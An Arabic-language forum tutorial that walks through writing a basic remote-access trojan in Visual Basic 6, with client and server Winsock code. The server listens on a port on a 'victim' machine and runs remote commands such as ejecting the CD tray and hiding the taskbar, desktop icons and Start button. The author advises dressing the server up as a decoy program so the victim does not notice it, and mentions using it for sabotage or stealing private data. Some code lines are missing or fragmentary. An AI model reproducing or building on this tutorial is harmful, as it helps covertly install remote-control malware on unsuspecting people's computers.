اعلم جيدا انك لن تترك ردا لكني اريد فقط رايك في الموضوع كيف وجدته و على بركة الله
اذا لم تكن ممن يحبون القرائة الطويله كل ما عليك هو ان تخرج من هذا الموضوع لأنه طويل جدا و مفيد جدااااااااااااااااااااااا ا
بل البدأ فى هذا الموضوع ارجو من الجميع ان يعرف ان هذا الموضوع قد تعب صانعه جدااااااااااا على صنعه و فلقد عمل على تصميم هذا الموضوع اكثر من 3 اسابيع حتى لا يجد خطأ فيه لذا اطلب منكم طلب واحد ارجوا ان تنفذه لى و هو () ارجو من كل من يريد نقل الموضوع ان ينقله لاكن ارجوا ان تكتب كاتب هذا الموضوع ديفيل هكر و هذا هو كل ما اريده منكم ارجوا ان تراعوا هذا العمل و ليس فقط تشكرنى بنقل الموضوع و انسابه لك
كل ما يلزم اى فرد يريد تصميمي برنامج هكر بدائى اشياء بسيطه جدا
2- المعرف ببدائيات عن برنامج الفجول بيسك وان لم تعرف فكل ما عليك هو ان تاجل قرائة هذا الموضوع لبعض الوقت و انا سوف اضع موضوع اشرح فيه الفجول بيسك للمبتدئين ولاكن هذا الموضوع يحتاج الى بعض الوقت طبعا ( او يمكنك ان تنفذ التعليمات الموجودة فى الشرح بطريقه عمياء و هذا ما انا لا احبه )
اما اذا كنت تريد تصميم برنامج هكر متقدم فكل ما يلزمك هو
2- المعرفه بالبنية الأساسية للبرنامج و فهم تصميمه و بدائيات عمله و بعد ذلك العمل على تطوير البرنامج واضافة الجديد له و تطويره و ده طبعا سهل على المحترفين فى الفجول بيسك
بعد ان عرفنا هذا و قد قمنا بكل ما يلزمنا ماهى طريقة تصميم برنامج هكر بدائى ؟
كل الى عليكم هو ان تقومو بالقيام بك خطوة سوف اقوم بها
اول شئ كل ما عليكم فتح برنامج الفجول بيسك و الذى قد حملته مسبقا و سوف نستخدم visual basic 6.0
عند فتح البرنامج سوف تظهر لك الشاشة التالية
نقرتين لعرض الصورة في صفحة مستقلة
وف تقوم بأختيار standard EXE ثم open بهذ الطريقه تكون قد قمت بالبدأ فى البرنامج لأنك بهذه الطريقة قد فتحت برنامج جديد و سوف تظهر لك شاشة الفورم التى سوف ابدأ فى وضع الأزرار و الأشياء الأخرى التى سوف نحتاجها
ولاكن لحظه واحدة فقط هل يمكننا البدأ فى البرنامج دون فهم فكرة عمله ؟ طبعا لأ علشان كده نقف شويه صغيرين علشان نعرف فكرة عمل هذا البرنامج
تتكون برامج الهكر كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم
1-كيفية الاتصال بين الملفين عبر الانترنت
يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip
حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية
بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت
أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً و هذا ما سوف نوضحه اثناء تصميم البرنامج
وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت
في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع
ولعمل برنامج هكر علينا تصميم برنامج يمكنه القيام بالأعمال التاليه
1- بعد معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم يتم إجراء الاتصال
2- ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين
3- يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .
اما بالنسبة لبرنامج الخادم فهو عليه القيام بما يلى
1- يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه
2- إذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين
3-يبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.
اما الأن فقد عرفنا فكرة عمل كل من الجزئين فلنقم بتصميم كل منهم على حذه و نوضح كل كود خاص به
لقد قمت بتصميم البرنامج مسبقا لتوضيح الفكره وسوف تجده مرفق مع الموضوع يمكنك من فتحه و النظر فى الذى انت لم تفهمه و احتى يمكنك تجربته ان لم تصدقنى انه يعمل و على فكرة البرنامج ده انا بعد ما صممته ماحتطوش فى المنتدى كده عميانى انا جربته يعنى حاطط موضوع سليم ان شاء الله 100%
عليك ان تنشئ برنامج تضع فيه الأزرار كما فى الصورة التاليه
نقرتين لعرض الصورة في صفحة مستقلة
لاحظ الأرقام الموجودة على الصورة لأنك سوف تفهم كيفية تسمية كل زرار من الأرقام و ذلك بعد قليل
لا تفكر فى الشكل الأن قم فقط بتصميم البرنامج مثل الشكل التالى و بعد ان تفهم الفكرة قم بما تريد من تصميم او تغير فى الشكل
الأن علينا هو ان نوضح الأسم الذى سوف يكتب لكل زرار او جزء تم وضعه فى البرنامج و الذى سوف يتعرف عليه الكميوتر عند كتابة الأكواد و المكان الذى سوف نكتب فيه الكلمة التى سوف تظهر لنا فى البرنامج و قبل توضيح كل منهما على انفراد احب ان اوضح الأماكن التى سوف تكتب فيها كل من الأوامر و ذلك عن طريق الصورة التالية و التى توضح شريط الخصائص و الذى سوف تجده على يمينك فى البرنامج كل ما عليك هو الضغط على الزرار الذى تريد تغيره و من ثم سوف تلحظ تغير الشريط الخصائص على اساس الزرار المختار
نقرتين لعرض الصورة في صفحة مستقلة
الأن نوضح مسمى كل زرار بالأرقام الموضحة على الصورة فى الأعلى
1- الأمر اتصال ( Connect )
2- الأمر فصل الاتصال ( DesConnectd )
3- الأمرفتح السى دى ( Open Cd )
4- الأمر غلق السى دى ( Close Cd )
5- الأمر لأخفاء ايقونات الدسك توب (Hide DESKTOP )
6- الأمر اظهار ايقونات الدسك توب ( Show DESKTOP )
7- الأمر لغلق البرنامج (Exit )
8- الأمر اخفاء زر ابدأ (Hide START )
9- الأمر اظهار زر ابدأ ( Show START )
10- الأمر اخفاء شريط المهام (Hide TASKBAR )
11- الأمر اظهار شريط المهام ( Show TASKBAR )
12- الشريط تي**ت text لكتابة الأيبى فيه
13- الشريط تي**ت text لكتابة المنفذ الذى يدخل عبره
Text:و سوف نكتب فيها المنفذ الذى سنستخدمه و هو 9514
14- الخاصية تايمر و التى سوف سوف توضح حالة الأتصال التى نحن عليها
15- الخاصية microsoft winsock control 6.0 و التى تعمل على استخدام بروتوكول tcp/ip و هو وسيلة الأتصال بين العميل و الخادم
16- الخاصية Label و التى سوف يظهر فيها حالة الأتصال
Caption : اتركها فارغة ولا تكتب فيها شئ
الأن و بعد ان قمنا بتصميم الهيكل الأساسى للبرنامج فاعتقد ان علينا البدأ فى كتابة الأكواد ولاكن ....!!! علينا اولا بالتعرف على الخاصيةwinsock ولا انت اعوز تكمل عميانى وخلاص
هي اداه تستخدم لربط برنامجين مع بعضهما البعض سواء كان هاذان البرنامجان في كمبيوتر واحد ام في كمبيوترين مختلفين وسواءً في شبكة داخلية او خارجية ....
والغرض من هذا الربط هو نقل البيانات من طرف الى طرف آخر وقد يكون الغرض من وراء نقل البيانات هو غرض مفيد او غير مفيد كا التجسس على الآخرين ....
ولكي نبدء بالبرمجة مع هذة الاداه يجب علينا اولاً ان نعرف ما هي الشروط الاساسية والاحتياجات لعملية الربط
اهم هذة الشروط هو معرفة الاي بي IP وهو عبارة عن رقم يقوم مزود الانترنت لديك بمنحك اياه عند دخولك الشبكة
والشرط الثاني هو المنفذ او Port حيث يمكن للبرنامج استخدام اي منفذ الى اكثر من ستين الف منفذ وهو يستخدم للتراسل بين البرامج مثلاً اذا جعلت برنامج في جهاز A وآخر في جهاز B واردت ان يتصل البرنامج A بالبرنامج B يجب عليك اولاً ان تجعل البرنامج B ينتظر الاتصال على منفذ معين مثلاً المنفذ رقم 10000 ثم تجعل البرنامج A يطلب الاتصال بالجهاز الذي يمتلك رقم IP التابع للبرنامج B فيقوم البرنامج بطلب الاتصال عن طريق الاداه السابقة الذكر ولكن قبل ذلك يجب ان تحدد المنفذ الذي تريد الاتصال به والذي يجب ان يكون ايضاً 10000 وعندما يبدء البرنامج A الاتصال على المنفذ المذكور يجد ان البرنامج B منتظراً للاتصال على هذا المنفذ فيحصل بذلك الاتصال وعند هذة النقطة يمكن فعل الكثير ....
واليكم الان بعض من الخواص المهمة في هذة الاداه والتي يجب علينا فهمها قبل كل شيء :
: LocatPort وهو يحدد رقم المنفذ المحلي
LocalIP : يعطي رقم الاي بي المحلي
: RemotePort رقم المنفذ في الجهاز الآخر
: RemoteHost رقم الاي بي للجهاز الآخر
: Protocol نوع الترابط بين البرنامجين ويوجد نوعان نتكلم عنهما لاحقاً
: State يعطي حالة البرنامج الان هل هو متصل ام لا ام منتظر اتصال وهكذا
هذى هى الأوامر التى سوف تستخدمها هذه الأداة الصغيرة
أما الأن فان هذه الاداه تعتبر هى الوحيده التى لم تظهر فى القائمة الخيارات التى على يسار البرنامج فكيف اعمل على أدراجها؟؟!!
وذلك عن طريق النقر على Components من القائمة Project ثم اخيتار العنوان [Microsoft Winsock Control 6.0] من مربع النقرتين لعرض الصورة في صفحة مستقلة الذي سيظهر .... وبذلك نكون قد اضفنا الاداة Winsock الى برنامجنا .....
نقرتين لعرض الصورة في صفحة مستقلة
عد الضغط على ok تكون قد ادرجت هذه الخاصية و يمكنك ان تضعها الأن لتكمل الشكل الأساسى للبرنامج
نبدأ الأن بتوضيح الفكرة الأساسية لكل كود سوف يوضع قبل ان اعطيكم النص كامل
بالنسبة لبرنامج العميل فهذا شرح للفكرة الأساسية للأكواد قبل البدأ فى الموضوع
1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text
2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD
3. مراقبة حالة الاتصال wskclient.State = 0
أهم القيم المستخدمة في مراقبة حالة الاتصال
8 " قام الخادم بقطع الاتصال "
اما بالنسبة للخادم او السيرفر
1. تحديد منفذ الاتصال wskServer.LocalPort = 2000
2. إجراء عملية الاتصال wskServer.Listen
3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then
wskServer.Accept requestID
عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
wskServer.GetData command
الأن و بعد ان فهمنا الفكرة الأساسية للبرنامج فهل نبدأ لحسن احنا زهقنا من الشرح الطويل ده ؟؟!!
الصبر حلو و الشرح الكبير اكيد فيه الفايده
الأن سوف اكتب كل كود على حذه وسوف اقوم بشرح كل امر فيه تقريبا و العمل الذى سيؤديه هذا السطر
--------------------------------------------
1- الزر الخاص بالأتصال ( Connect )
--------------------------------------------
Private Sub Command1_Click()
MsgBox "IP يجب كتابة رقم"
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
wskClient.Connect srvrip.Text, srvrport.Text
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
كتب هذا الأمر لأنه يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد
MsgBox "IP يجب كتابة رقم"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم الIP فى Label والذى سميناه srvrip فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم IP
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا لم يكتب رقم المنفذ فى Label والذى سميناه srvrport فسوف يقوم باظهار رسالة خطا توضح للمستخدم انه لم يكتب رقم المنفذ
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
كتب هذا الأمر حتى يوضح للمستخدم انه اذا كتب رقم المنفذ فى Label والذى سميناه srvrport و لم يكون الرقم المكتوب بين الأرقام 1-65535 فانه سوف يقوم باظهار رسالة خطا توضح للمستخدم انه يجب ان يكتب رقم المنفذ بين الرقمين 1 – 65535
كتب هذا الأمر بعد الأمر السابق لكى يمسح رقم المنفذ الذى كتبته خطا ليجعلك تكتب الرقم من جديد
wskClient.Connect srvrip.Text, srvrport.Text
هذا السطر يمثل عملية الإتصال بالخادم
يتم الإتصال بالخادم عن طريق تحديد رقم IP ورقم المنفذ (Port)
عند الضغط على زر "Connect" يتم إجراء الإتصال
و هذا الأمر لتعطيل زر "Connect" عند اجراء الاتصال
اظن الأن انه تم توضيح هذه الأوامر
--------------------------------------------
2- الزر الخاص فصل الأتصال ( Desconnect )
--------------------------------------------
Private Sub Command2_Click()
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
يعطى الأمرباغلاق الإتصال عند الضغط على زر "Dseconnct"
يعمل هذا الأمر على تمكين الزر "Connect" عند قطع الاتصال و الذى الغينا استخدامه من قبل فى عملية الأتصال
--------------------------------------------
3- الزر الخاص بفتح السى دى ( CD Open )
--------------------------------------------
قبل البدأ سوف نلاحظ ان الأمر الموجه فى جميع الخصائص التى سوف نضيفها هى واحده لذا سوف اضعها بالترتيب ثم اقوم بشرح واحد فقط منها
Private Sub Command3_Click()
wskclient.SendData "openCD"
--------------------------------------------
4- الزر الخاص اغلاق السى دى ( CD Close )
--------------------------------------------
Private Sub Command4_Click()
wskclient.SendData "closeCD"
--------------------------------------------
5- الزر الخاص اخفاء ايقونات سطح المكتب (Hide DESKTOP )
--------------------------------------------
Private Sub Command5_Click()
wskclient.SendData "hideDESKTOP"
--------------------------------------------
6- الزر الخاص اظهار ايقونات سطح المكتب (Show DESKTOP )
--------------------------------------------
Private Sub Command6_Click()
wskclient.SendData "showDESKTOP"
--------------------------------------------
7- الزر الخاص اخفاء زر ابداء (Hide START )
--------------------------------------------
انشئ زر واسمه اخفاء زر ابداء
Private Sub Command8_Click()
wskclient.SendData "hideSTART"
--------------------------------------------
8- الزر الخاص اظهار زر ابداء (Show START )
--------------------------------------------
Private Sub Command9_Click()
wskclient.SendData "showSTART"
--------------------------------------------
9- الزر الخاص اخفاء شريط المهام (Hide TASKBAR)
--------------------------------------------
Private Sub Command10_Click()
wskclient.SendData "hideTASKBAR"
--------------------------------------------
10- الزر الخاص اظهار شريط المهام (Show TASKBAR)
--------------------------------------------
Private Sub Command11_Click()
wskclient.SendData "showTASKBAR"
يجب عليك اولا الأهتمام باسم كل زرار و الذى ليس الأسم الذى يظهر لك ولاكنى اقصد الأسم الذى سيتعرف عليه الكمبيوتر عند تنفيذ الأوامر السابقة و الذى يوضع تحت العنوان Name فى قائمة الخصائص
اما الأن فناخذ كود واحد منهم و نشرحه
*************************
Private Sub Command11_Click()
wskclient.SendData "showTASKBAR"
يعنى اذا حدث خطا فى الأمر الذى يصدره هذا الزرار فلن يصدر اى شكوه و يستمر فى عمله مرة اخرى و ينظر فى الذى يلى هذا الأمر الخطأ
wskclient.SendData "showTASKBAR"
و يعطى هذا الأمر بان يصدر برنامج العميل الى ملف الخادم الكود الخاص باخفاء شريط المهام و لايتعدى هنا كونه كلمه فى هذا البرنامج العميل ولاكن عند ارساله الى ملف الخادم فانه سوف يقوم بترجمته بعد وضع ترجمه فى ملف الخادم بالأعمال التى سيقوم بها و سيقوم بتحويل هذه الكلمة عديمة الفائدة الى امر قاتل
--------------------------------------------
11- الزر الخاص بالأغلاق (Exit)
--------------------------------------------
Private Sub Command7_Click()
دعونا الأن نشرح الكود بمزيد من التفصيل
***************************
يعطى هذا الأمر للبرنامج لفصل الأتصال بالخادم
يعطى هذا الأمر للبرنامج بان يغلق نفسه اى ينهى عمل البرنامج
اى سيكون عمل هذا الزرار هو غلق الأتصال ثم غلق البرنامج
--------------------------------------------
--------------------------------------------
اخر شئ سيتم و هو فائدة عمل التيمر و هو كما قلت سابقا و هو لكى يخبرك بالحالة التى انت عليها اذا كنت متصل ام لا او غيرها
Private Sub Timer1_Timer()
If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"
If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"
If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"
If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"
If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"
If wskClient.State <> sckConnected Then
Status.Caption = "لايوجد إتصال"
و لتوضيح فكرة عمل هذا الكود فهو ينظر الى حالة الأتصال فاذا كان متصل مثلا فانه يعطى للـLabel و المسمى باسم Status امر بان يكتب تم الأتصال مع الخادم و هاكذا فى جميع الحالات
اتمنى ان اكون قد انتهيت من الجزء الأول من الشرح بنجاح و سوف اضع الأكواد كلها بالترتيب الموجود فى البرنامج و كلها و التى قد فسرناها كلها بالتفصيل
الأكواد الخاصة ببرنامج العميل
Private Sub Command1_Click()
MsgBox "IP يجب كتابة رقم"
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
wskClient.Connect srvrip.Text, srvrport.Text
Private Sub Command10_Click()
wskClient.SendData "hideTASKBAR"
Private Sub Command11_Click()
wskClient.SendData "showTASKBAR"
Private Sub Command2_Click()
Private Sub Command3_Click()
wskClient.SendData "openCD"
Private Sub Command4_Click()
wskClient.SendData "closeCD"
Private Sub Command5_Click()
wskClient.SendData "hideDESKTOP"
Private Sub Command6_Click()
wskClient.SendData "showDESKTOP"
Private Sub Command7_Click()
Private Sub Command8_Click()
wskClient.SendData "hideSTART"
Private Sub Command9_Click()
wskClient.SendData "showSTART"
srvrip.Text = wskClient.LocalIP
Private Sub Timer1_Timer()
If wskClient.State = 0 Then Status.Caption = "لايوجد إتصال"
If wskClient.State = 6 Then Status.Caption = "جاري الإتصال"
If wskClient.State = 7 Then Status.Caption = "تم الإتصال مع الخادم"
If wskClient.State = 8 Then Status.Caption = "قام الخادم بقطع الإتصال"
If wskClient.State = 9 Then Status.Caption = "خطأ في الإتصال"
If wskClient.State <> sckConnected Then
Status.Caption = "لايوجد إتصال"
انتهينا من البرنامج العميل صح ولاكن ما نفعه من دون برنامج الخادم ؟؟!!
طبعا بدون برنامج الخادم الخاص به فلن يؤدى اى نفع لذا سوف اقوم بشرح تفصيلى اخر عن الخادم
----------------------------
نبدأ و اعتقد اننا فهمنا فكرة عمل الخادم و كل ما نحن نحتاجه فى هذا
اغلق برنامج العميل و الذى قد قمت بتصميمه من قبل و طبعا بعد ما تحفظه
افتح مشروع عمل جديد و ذلك بنفس الطريقة التى قمنا بها سابقا فى العمل على برنامج العميل
ولاكن هنا تختلف الأشياء التى سوف نقوم بصنعها فمثلا نحن اولا سوف نقوم بالعمل على جزئين و هما الفورم ( Form ) و المديول ( Modules ) و طبعا انت تعرف فى برنامج الفجول بيسك يعنى مش محتاج اعرفك على كل منهم
اولا سوف يكون العمل فى اول شئ فى الفورم
علينا بتكوين الهيكل الرئيسى للخادم قم بالعمل مثل الصورة التاليه
نقرتين لعرض الصورة في صفحة مستقلة
بعد تصميم الملف سوف تلحظ انك لن تقوم بتصميم اى شئ سوى انك سوف تضع Label ستسميه باى اسم و تكتب فيه الى انت عاوزه و احنا حطيناه حتى لا يشك العميل فى انك ارسلت له برنامج ليس له لزمه و يمكنك ان تنشاء فى هذا الملف الخادم برنامج كامل لكى تجذب انتباه الضحيه كمثل برنامج رسم انت تعرف طريقة تصميمه او اى شئ اخر و ذلك لجعل الملف الخادم ليس مكشوف للضحية
اما ثانى شئ و هو الأهم و هو خاصية winsock و التى سوف نسميها هنا باسم اخر غير الأسم الذى سمناها فى الملف العميل و سوف نجعل خاصية الـName تحمل الأسم wskServer
هكذا نكون قد انهاينا الشكل الخارجى و طبعا مش محتاج اوضح طريقة ادراج winsock
نبدا بوضع الأكواد و محاولة شرح الى نقدر عليه
--------------------------
--------------------------
wskServer.LocalPort = 9514
TaskBarHwnd = FindWindow("Shell_traywnd", "")
نوضح اولا ان اسم اداة الوينسوكت في هذا البرنامج wskServer
wskServer.LocalPort = 9514
و هو لتحديد المنفذ الذى سوف يقوم الخادم بفتحه لدى الضحيه ليسمح لك بالدخول و قد وضعناه هنا الرقم 9514 و يمكنك طبعا ان تغيره ولاكن مع تغيره يجب عليك بكتابته فى برنامج العميل اثناء الأتصال
يعلن هذا الأمر عن بدأ الأتصال بالعميل
TaskBarHwnd = FindWindow("Shell_traywnd", "")
يقوم البرنامج بتحديد تعريف شريط المهام
--------------------------
فى اداة الأتصال (winsock ) :
--------------------------
سوف نضع فى هذه الخاصية نوعين من الأكواد احدهما لتقبل عملية الأتصال و الأخر للتعريف بالأوامر التى سوف يتلقاها بعد الأتصال فلنعرض الأن الكودين و نوضح كل ما نستطيع عنهما
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Accept requestID
تم وضع هذا الكود لتقبل عملية الأتصال التى قامت بين الخادم و العميل
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
wskServer.GetData command
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
يعتبر هذا الكود الطريقة التىيمر بها الأمر القادم من العميل لترجمته فى ملف الخادم لأستخدامه فى الأختراق و سوف يكون هناك مرحلة ثانية لترجمه الأمر و هى عن طريق المديول و سوف نشرحها بعد قليل
ايه رايكم لم نشرح الكود السابق بمذيد من الدقه
*****************************
يجب تعريف المتغير الذي سوف يستقبل البيانات القادمة من العميل
wskServer.GetData command
يمثل هذا الأمر استقبال المتغير للاوامر القادمة من العميل
يستخدم هذا الأمر لتحديد الأمر القادم من البرنامج العميل
يعطى هذه الدالة اذا تم اختيار امر فتح سواقة الليزر يتم تنفيذ الاجراء التالي
و نفس هذا الأمر ينطبق على جميع الأوامر التى يتكون منها الكود السابق لذا لا داعى لشرحها مجددا
يبقى لدينا الأن فى هذا الملف الخادم طرق كتابة الكود فى المديول و شرحه بالتفصيل ولاكن قبل ذلك يجب ان اضع لكم الأكواد كلها و الخاصة بالفورم طبعا قبل البدأ فى شرح المديول
wskServer.LocalPort = 9514
TaskBarHwnd = FindWindow("Shell_traywnd", "")
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then _
wskServer.Accept requestID
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
wskServer.GetData command
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_HIDE)
Progman& = FindWindow("Progman", vbNullString)
SHELLDLLDefView& = FindWindowEx(Progman&, 0&, "SHELLDLL_DefView", vbNullString)
SysListView& = FindWindowEx(SHELLDLLDefView&, 0&, "SysListView32", vbNullString)
Call ShowWindow(SysListView&, SW_SHOW)
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_HIDEWINDOW)
Call SetWindowPos(TaskBarHwnd, 0&, 0&, 0&, 0&, 0&, SWP_SHOWWINDOW)
نبدأ الأن فى الجزء الأخر من الخادم و هو المديول ( Mdules )
فى المديول يتم وضع تعريف للدوال المستخدمه و توضيح الأوامر المستخدمة ولاكن كيف ذلك ؟؟!!
قبل توضيح كيفية الأكواد فيجب علينا اولا بتوضيح طريقة ادراج المديول الى المشروع الذى نحن نعمل فيه و هو عن طريق فتح قائمة Project و الضغط على Add Modules
يتك كتابة فى هذا المديول نوعين من الأكواد ولاكنهما يوضحان نفس العمل و تعريف الدوال المستخدمة
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
يعطى هذا الكود مجموعة من الدالات التي تختص بتنفيذ الأوامر الخاصة بالخادم و التى سنحتاج الى استخدامها
يحتوى على مجموعة من الأكواد ولاكن لو لاحظتم سوف تجدونها متشابه جميعا لذا سوف اضعها كلها هنا بالترتيب ثم سؤضح و احد منهم و ذلك لفهم الأكواد اكثر
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
يعتبر هذا الأمر دالة فتح سواقة الليزر و ذلك جتى يتعرف الكمبيوتر على طريقة العمل و نفس الفكرة تنطبق على الثلاث اكواد الأخرى فهم يمثلوا دالة للتعريف بما سيقومون
الأن انتهينا اخيرا ولاكنى سوف اضع الأكواد الخاصة بالمديول مع بعض
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
Dim Handle As Long, FindClass As Long
FindClass& = FindWindow("Shell_TrayWnd", "")
Handle& = FindWindowEx(FindClass&, 0, "Button", vbNullString)
retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)
retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)
هكذا و اخيرا اخى المتعلم انتهينا من اكبر شرح عن تصميم برنامج هكر قد تجده فى اى مكان انتهينا من عمل البرنامج و تصميمه و يمكنك تجربته الأن